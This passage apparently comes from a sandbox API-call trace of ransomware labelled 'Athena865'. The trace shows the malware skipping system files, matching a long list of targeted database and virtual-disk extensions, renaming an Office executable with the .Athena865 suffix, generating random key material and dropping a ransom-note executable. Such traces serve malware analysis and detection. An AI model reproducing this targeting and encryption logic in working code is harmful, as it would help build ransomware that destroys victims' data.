FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\how to back your files.exe"), bFailIfExists=1) returned 1 [0087.007] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0087.007] lstrcmpiW (lpString1="VISIO.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.007] lstrcmpiW (lpString1="VISIO.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.007] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".") returned 1 [0087.007] lstrcmpiW (lpString1="VISIO.EXE", lpString2="..") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="windows") returned -1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="bootmgr") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="temp") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="pagefile.sys") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="boot") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="ids.txt") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="ntuser.dat") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="perflogs") returned 1 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2="MSBuild") returned 1 [0087.008] lstrlenW (lpString="VISIO.EXE") returned 9 [0087.008] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISIO.EXE" | out: lpString1="VISIO.EXE") returned="VISIO.EXE" [0087.008] lstrlenW (lpString="VISIO.EXE") returned 9 [0087.008] lstrlenW (lpString="Athena865") returned 9 [0087.008] lstrlenW (lpString=".dll") returned 4 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".dll") returned 1 [0087.008] lstrlenW (lpString=".lnk") returned 4 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".lnk") returned 1 [0087.008] lstrlenW (lpString=".ini") returned 4 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".ini") returned 1 [0087.008] lstrlenW (lpString=".sys") returned 4 [0087.008] lstrcmpiW (lpString1="VISIO.EXE", lpString2=".sys") returned 1 [0087.008] lstrlenW (lpString="VISIO.EXE") returned 9 [0087.008] lstrlenW (lpString="bak") returned 3 [0087.008] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0087.008] lstrlenW (lpString="ba_") returned 3 [0087.008] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0087.008] lstrlenW (lpString="dbb") returned 3 [0087.008] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0087.008] lstrlenW (lpString="vmdk") returned 4 [0087.008] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0087.008] lstrlenW (lpString="rar") returned 3 [0087.008] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0087.008] lstrlenW (lpString="zip") returned 3 [0087.008] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0087.009] lstrlenW (lpString="tgz") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0087.009] lstrlenW (lpString="vbox") returned 4 [0087.009] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0087.009] lstrlenW (lpString="vdi") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0087.009] lstrlenW (lpString="vhd") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0087.009] lstrlenW (lpString="vhdx") returned 4 [0087.009] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0087.009] lstrlenW (lpString="avhd") returned 4 [0087.009] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0087.009] lstrlenW (lpString="db") returned 2 [0087.009] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0087.009] lstrlenW (lpString="db2") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0087.009] lstrlenW (lpString="db3") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0087.009] lstrlenW (lpString="dbf") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0087.009] lstrlenW (lpString="mdf") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0087.009] lstrlenW (lpString="mdb") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0087.009] lstrlenW (lpString="sql") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0087.009] lstrlenW (lpString="sqlite") returned 6 [0087.009] lstrcmpiW (lpString1="IO.EXE", lpString2="sqlite") returned -1 [0087.009] lstrlenW (lpString="sqlite3") returned 7 [0087.009] lstrcmpiW (lpString1="SIO.EXE", lpString2="sqlite3") returned -1 [0087.009] lstrlenW (lpString="sqlitedb") returned 8 [0087.009] lstrcmpiW (lpString1="ISIO.EXE", lpString2="sqlitedb") returned -1 [0087.009] lstrlenW (lpString="xml") returned 3 [0087.009] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0087.010] lstrlenW (lpString="$er") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0087.010] lstrlenW (lpString="4dd") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0087.010] lstrlenW (lpString="4dl") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0087.010] lstrlenW (lpString="^^^") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0087.010] lstrlenW (lpString="abs") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0087.010] lstrlenW (lpString="abx") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0087.010] lstrlenW (lpString="accdb") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accdb") returned 1 [0087.010] lstrlenW (lpString="accdc") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accdc") returned 1 [0087.010] lstrlenW (lpString="accde") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accde") returned 1 [0087.010] lstrlenW (lpString="accdr") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accdr") returned 1 [0087.010] lstrlenW (lpString="accdt") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accdt") returned 1 [0087.010] lstrlenW (lpString="accdw") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accdw") returned 1 [0087.010] lstrlenW (lpString="accft") returned 5 [0087.010] lstrcmpiW (lpString1="O.EXE", lpString2="accft") returned 1 [0087.010] lstrlenW (lpString="adb") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0087.010] lstrlenW (lpString="adb") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0087.010] lstrlenW (lpString="ade") returned 3 [0087.010] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0087.010] lstrlenW (lpString="adf") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0087.011] lstrlenW (lpString="adn") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0087.011] lstrlenW (lpString="adp") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0087.011] lstrlenW (lpString="alf") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0087.011] lstrlenW (lpString="ask") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0087.011] lstrlenW (lpString="btr") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0087.011] lstrlenW (lpString="cat") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0087.011] lstrlenW (lpString="cdb") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0087.011] lstrlenW (lpString="ckp") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0087.011] lstrlenW (lpString="cma") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0087.011] lstrlenW (lpString="cpd") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0087.011] lstrlenW (lpString="dacpac") returned 6 [0087.011] lstrcmpiW (lpString1="IO.EXE", lpString2="dacpac") returned 1 [0087.011] lstrlenW (lpString="dad") returned 3 [0087.011] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0087.011] lstrlenW (lpString="dadiagrams") returned 10 [0087.011] lstrlenW (lpString="daschema") returned 8 [0087.011] lstrcmpiW (lpString1="ISIO.EXE", lpString2="daschema") returned 1 [0087.011] lstrlenW (lpString="db-journal") returned 10 [0087.011] lstrlenW (lpString="db-shm") returned 6 [0087.011] lstrcmpiW (lpString1="IO.EXE", lpString2="db-shm") returned 1 [0087.011] lstrlenW (lpString="db-wal") returned 6 [0087.011] lstrcmpiW (lpString1="IO.EXE", lpString2="db-wal") returned 1 [0087.011] lstrlenW (lpString="dbc") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0087.012] lstrlenW (lpString="dbs") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0087.012] lstrlenW (lpString="dbt") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0087.012] lstrlenW (lpString="dbv") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0087.012] lstrlenW (lpString="dbx") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0087.012] lstrlenW (lpString="dcb") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0087.012] lstrlenW (lpString="dct") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0087.012] lstrlenW (lpString="dcx") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0087.012] lstrlenW (lpString="ddl") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0087.012] lstrlenW (lpString="dlis") returned 4 [0087.012] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0087.012] lstrlenW (lpString="dp1") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0087.012] lstrlenW (lpString="dqy") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0087.012] lstrlenW (lpString="dsk") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0087.012] lstrlenW (lpString="dsn") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0087.012] lstrlenW (lpString="dtsx") returned 4 [0087.012] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0087.012] lstrlenW (lpString="dxl") returned 3 [0087.012] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0087.012] lstrlenW (lpString="eco") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0087.013] lstrlenW (lpString="ecx") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0087.013] lstrlenW (lpString="edb") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0087.013] lstrlenW (lpString="epim") returned 4 [0087.013] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0087.013] lstrlenW (lpString="fcd") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0087.013] lstrlenW (lpString="fdb") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0087.013] lstrlenW (lpString="fic") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0087.013] lstrlenW (lpString="flexolibrary") returned 12 [0087.013] lstrlenW (lpString="fm5") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0087.013] lstrlenW (lpString="fmp") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0087.013] lstrlenW (lpString="fmp12") returned 5 [0087.013] lstrcmpiW (lpString1="O.EXE", lpString2="fmp12") returned 1 [0087.013] lstrlenW (lpString="fmpsl") returned 5 [0087.013] lstrcmpiW (lpString1="O.EXE", lpString2="fmpsl") returned 1 [0087.013] lstrlenW (lpString="fol") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0087.013] lstrlenW (lpString="fp3") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0087.013] lstrlenW (lpString="fp4") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0087.013] lstrlenW (lpString="fp5") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0087.013] lstrlenW (lpString="fp7") returned 3 [0087.013] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0087.014] lstrlenW (lpString="fpt") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0087.014] lstrlenW (lpString="frm") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0087.014] lstrlenW (lpString="gdb") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0087.014] lstrlenW (lpString="gdb") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0087.014] lstrlenW (lpString="grdb") returned 4 [0087.014] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0087.014] lstrlenW (lpString="gwi") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0087.014] lstrlenW (lpString="hdb") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0087.014] lstrlenW (lpString="his") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0087.014] lstrlenW (lpString="ib") returned 2 [0087.014] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0087.014] lstrlenW (lpString="idb") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0087.014] lstrlenW (lpString="ihx") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0087.014] lstrlenW (lpString="itdb") returned 4 [0087.014] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0087.014] lstrlenW (lpString="itw") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0087.014] lstrlenW (lpString="jet") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0087.014] lstrlenW (lpString="jtx") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0087.014] lstrlenW (lpString="kdb") returned 3 [0087.014] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0087.015] lstrlenW (lpString="kexi") returned 4 [0087.015] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0087.015] lstrlenW (lpString="kexic") returned 5 [0087.015] lstrcmpiW (lpString1="O.EXE", lpString2="kexic") returned 1 [0087.015] lstrlenW (lpString="kexis") returned 5 [0087.015] lstrcmpiW (lpString1="O.EXE", lpString2="kexis") returned 1 [0087.015] lstrlenW (lpString="lgc") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0087.015] lstrlenW (lpString="lwx") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0087.015] lstrlenW (lpString="maf") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0087.015] lstrlenW (lpString="maq") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0087.015] lstrlenW (lpString="mar") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0087.015] lstrlenW (lpString="marshal") returned 7 [0087.015] lstrcmpiW (lpString1="SIO.EXE", lpString2="marshal") returned 1 [0087.015] lstrlenW (lpString="mas") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0087.015] lstrlenW (lpString="mav") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0087.015] lstrlenW (lpString="maw") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0087.015] lstrlenW (lpString="mdbhtml") returned 7 [0087.015] lstrcmpiW (lpString1="SIO.EXE", lpString2="mdbhtml") returned 1 [0087.015] lstrlenW (lpString="mdn") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0087.015] lstrlenW (lpString="mdt") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0087.015] lstrlenW (lpString="mfd") returned 3 [0087.015] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0087.016] lstrlenW (lpString="mpd") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0087.016] lstrlenW (lpString="mrg") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0087.016] lstrlenW (lpString="mud") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0087.016] lstrlenW (lpString="mwb") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0087.016] lstrlenW (lpString="myd") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0087.016] lstrlenW (lpString="ndf") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0087.016] lstrlenW (lpString="nnt") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0087.016] lstrlenW (lpString="nrmlib") returned 6 [0087.016] lstrcmpiW (lpString1="IO.EXE", lpString2="nrmlib") returned -1 [0087.016] lstrlenW (lpString="ns2") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0087.016] lstrlenW (lpString="ns3") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0087.016] lstrlenW (lpString="ns4") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0087.016] lstrlenW (lpString="nsf") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0087.016] lstrlenW (lpString="nv") returned 2 [0087.016] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0087.016] lstrlenW (lpString="nv2") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0087.016] lstrlenW (lpString="nwdb") returned 4 [0087.016] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0087.016] lstrlenW (lpString="nyf") returned 3 [0087.016] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0087.017] lstrlenW (lpString="odb") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0087.017] lstrlenW (lpString="odb") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0087.017] lstrlenW (lpString="oqy") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0087.017] lstrlenW (lpString="ora") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0087.017] lstrlenW (lpString="orx") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0087.017] lstrlenW (lpString="owc") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0087.017] lstrlenW (lpString="p96") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0087.017] lstrlenW (lpString="p97") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0087.017] lstrlenW (lpString="pan") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0087.017] lstrlenW (lpString="pdb") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0087.017] lstrlenW (lpString="pdm") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0087.017] lstrlenW (lpString="pnz") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0087.017] lstrlenW (lpString="qry") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0087.017] lstrlenW (lpString="qvd") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0087.017] lstrlenW (lpString="rbf") returned 3 [0087.017] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0087.017] lstrlenW (lpString="rctd") returned 4 [0087.017] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0087.018] lstrlenW (lpString="rod") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0087.018] lstrlenW (lpString="rodx") returned 4 [0087.018] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0087.018] lstrlenW (lpString="rpd") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0087.018] lstrlenW (lpString="rsd") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0087.018] lstrlenW (lpString="sas7bdat") returned 8 [0087.018] lstrcmpiW (lpString1="ISIO.EXE", lpString2="sas7bdat") returned -1 [0087.018] lstrlenW (lpString="sbf") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0087.018] lstrlenW (lpString="scx") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0087.018] lstrlenW (lpString="sdb") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0087.018] lstrlenW (lpString="sdc") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0087.018] lstrlenW (lpString="sdf") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0087.018] lstrlenW (lpString="sis") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0087.018] lstrlenW (lpString="spq") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0087.018] lstrlenW (lpString="te") returned 2 [0087.018] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0087.018] lstrlenW (lpString="teacher") returned 7 [0087.018] lstrcmpiW (lpString1="SIO.EXE", lpString2="teacher") returned -1 [0087.018] lstrlenW (lpString="tmd") returned 3 [0087.018] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0087.018] lstrlenW (lpString="tps") returned 3 [0087.019] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0087.019] lstrlenW (lpString="trc") returned 3 [0087.019] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0087.019] lstrlenW (lpString="trc") returned 3 [0087.019] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0087.019] lstrlenW (lpString="trm") returned 3 [0087.019] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0087.019] lstrlenW (lpString="udb") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0087.022] lstrlenW (lpString="udl") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0087.022] lstrlenW (lpString="usr") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0087.022] lstrlenW (lpString="v12") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0087.022] lstrlenW (lpString="vis") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0087.022] lstrlenW (lpString="vpd") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0087.022] lstrlenW (lpString="vvv") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0087.022] lstrlenW (lpString="wdb") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0087.022] lstrlenW (lpString="wmdb") returned 4 [0087.022] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0087.022] lstrlenW (lpString="wrk") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0087.022] lstrlenW (lpString="xdb") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0087.022] lstrlenW (lpString="xld") returned 3 [0087.022] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0087.022] lstrlenW (lpString="xmlff") returned 5 [0087.022] lstrcmpiW (lpString1="O.EXE", lpString2="xmlff") returned -1 [0087.022] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISIO.EXE.Athena865") returned 62 [0087.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISIO.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.athena865"), dwFlags=0x1) returned 1 [0087.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISIO.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.036] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1484640) returned 1 [0087.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.036] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.037] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.037] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.037] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16aa60, lpName=0x0) returned 0x17c [0087.037] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16aa60) returned 0x2d50000 [0087.223] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.224] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.224] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 